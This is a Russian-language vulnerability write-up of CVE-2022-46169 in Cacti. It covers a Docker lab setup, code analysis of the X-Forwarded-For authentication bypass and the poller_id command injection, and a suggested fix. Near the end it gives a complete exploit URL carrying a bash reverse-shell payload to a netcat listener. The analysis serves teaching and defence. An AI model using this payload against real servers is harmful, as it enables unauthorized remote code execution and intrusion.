
Пошаговый анализ CVE-2022-46169: неавторизованное удаленное выполнение кода в Cacti через обход аутентификации и внедрение команд, с настройкой Docker-лаборатории и руководством по эксплуатации.
Cacti — это инструмент мониторинга с открытым исходным кодом, написанный на PHP, MySQL/MariaDB, предоставляющий удобный интерфейс.
Уязвимость была обнаружена в 2022 году и затрагивает все версии до 1.2.23. Эта ошибка требует цепочки обхода аутентификации и внедрения команд для достижения RCE (удаленного выполнения кода).
В этом анализе CVE я запущу Cacti в Docker и буду использовать VSCode для анализа кода. Настройка будет довольно простой: сначала нам понадобится файл docker-compose.yaml для создания новой среды. Ниже приведен файл docker-compose.yaml:
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
После создания файла откройте командную строку, перейдите в каталог с файлом и выполните команду docker-compose up -d, затем откройте браузер и перейдите по адресу localhost:8088. Сначала вы увидите страницу входа:

Учетные данные по умолчанию: admin/admin. Процесс настройки будет показан на фотографиях ниже:

Создайте новый пароль

После завершения установки мы получим такой экран консоли:

Теперь давайте начнем анализировать уязвимость. Как известно, уязвимый файл — remote_agent.php, поэтому попробуем получить к нему доступ через браузер:

Сообщается, что у нас нет прав доступа к файлу. Пришло время просмотреть исходный код файла:

Проверка выполняется вызовом функции remote_client_authorized(). Давайте углубимся в эту функцию.

Сначала сервер получает наш IP-адрес через функцию get_client_addr(), а затем использует функцию gethostbyaddr() для преобразования IP в имя хоста. Затем сервер извлекает все pollers, доступные в таблице poller, и сравнивает имя хоста каждого poller с вашим hostname, полученным из IP-адреса. Здесь есть обход: внутри get_client_addr():

Мы видим, что сервер получает IP-адрес через один из следующих заголовков:
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
Это позволяет нам полностью контролировать значение нашего IP-адреса. В данном случае мы можем использовать заголовок X-Forwarded-For для подмены нашего IP на действительный, что позволит обойти авторизацию. Заголовок X-Forwarded-For часто используется для определения исходного IP-адреса, если между клиентом и сервером находится прокси или балансировщик нагрузки. Однако это становится поверхностью атаки для злоумышленников. Поскольку мы запускаем cacti локально, нам нужно указать IP-адрес, который будет преобразован в localhost, то есть 127.0.0.1.

Теперь выглядит неплохо, верно? Однако это только начало, народ!!! Нам нужно провести более глубокий анализ кода, чтобы успешно внедрить команду и получить удаленное выполнение кода. После завершения аутентификации программа выполнит этот код:

Сервер получит параметр action и войдет в конструкцию Switch/Case. Если значение action равно pollerdata, программа вызовет poll_for_data(). Эта функция уязвима для внедрения команд, поэтому мы тщательно ее проанализируем.

Функция принимает 3 параметра: $local_data_ids, $host_id, $poller_id, полученные из параметров запроса пользователя local_data_ids, host_id, poller_id. Обратите внимание на разницу в функциях получения параметров: одна — get_filter_request_var, другая — get_nfilter_request_var; в последней есть дополнительная буква n, мы обсудим это позже. После этого программа проверит, предоставили ли мы параметр local_data_ids, и переберет каждый из них, чтобы получить данные из таблицы poller_item на основе local_data_ids и host_id. Результат запроса сохраняется в $items.

Если запрос возвращает результаты, программа переберет каждый $item в $items и войдет в конструкцию Switch/Case, где $item['action'] является значением для Switch. Есть много случаев, но тот, который мы должны исследовать, — это POLLER_ACTION_SCRIPT_PHP, что означает action равный 2.

Как только action равен 2, программа выполнит команду proc_open(), которая довольно похожа на exec(), и принимает $poller_id в качестве одной из переменных, полностью контролируемой нами. Для лучшей визуализации следует обратиться к базе данных, чтобы получить содержимое таблицы poller_item и посмотреть, как она выглядит.

Из таблицы видно, что нам нужно подобрать local_data_id, чтобы получить poller с action = 2; это будет применяться в реальной эксплуатации. По умолчанию cacti не имеет poller с action = 2, но это можно сделать, добавив новые шаблоны, например device.



После создания нового device снова обращаемся к таблице poller_item и видим, что появился новый poller с action = 2.

Теперь давайте еще раз рассмотрим весь процесс. Чтобы успешно эксплуатировать уязвимость, нам нужно сначала обойти аутентификацию, добавив заголовок X-Forwarded-For. Следующий шаг — указать параметр action равным polldata, host_id = 1, local_data_ids равным соответствующему poller с action = 2, в данном случае local_data_ids = 6, и, самое главное, параметр poller_id — это место, где мы внедрим команду для получения удаленного выполнения кода. Использование get_nfilter_request_var() делает этот параметр уязвимым. В то время как get_filter_request_var принимает только целые числа, get_nfilter_request_var позволяет вводить строки. Кроме того, для этого параметра отсутствует проверка ввода, что приводит к полному внедрению команд.
Давайте запустим сервер Kali Linux, прослушивающий запросы.

Нам нужны IP-адрес Kali и порт, на котором работает сервер, чтобы сформировать полезную нагрузку; в данном случае это 172.22.119.130 и netcat работает на порту 4444.
Теперь откроем Burpsuite и начнем эксплуатацию. Используемая полезная нагрузка: ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261. Полезная нагрузка использует ; для завершения предыдущей команды и выполнения новой. Остальная часть — это простая команда для получения обратной оболочки. Собираем все вместе и получаем полный URL: localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


Бац!!! Мы успешно эксплуатировали уязвимость. Процесс и объяснение довольно длинные, но в целом эта уязвимость не очень сложная.
Основная причина этой уязвимости — использование функции get_nfilter_request_var() для параметра poller_id. Мы можем изменить ее на get_filter_request_var(), чтобы принимать только целые числа.

Мы можем добавить еще один уровень безопасности, очистив значение poller_id с помощью функции cacti_escapeshellarg(). Такая практика гарантирует, что только допустимые входные данные будут переданы в poller_id перед использованием на следующих этапах.

На этом анализ завершен. Надеюсь, вы узнали что-то полезное. Как мы видим, уязвимости часто возникают из-за пользовательского ввода. Поэтому крайне важно применять надлежащую проверку ввода для защиты сервера. Удаленное выполнение кода — это очень серьезно, но всегда есть способ предотвратить его!!! Счастливого хакинга!
https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169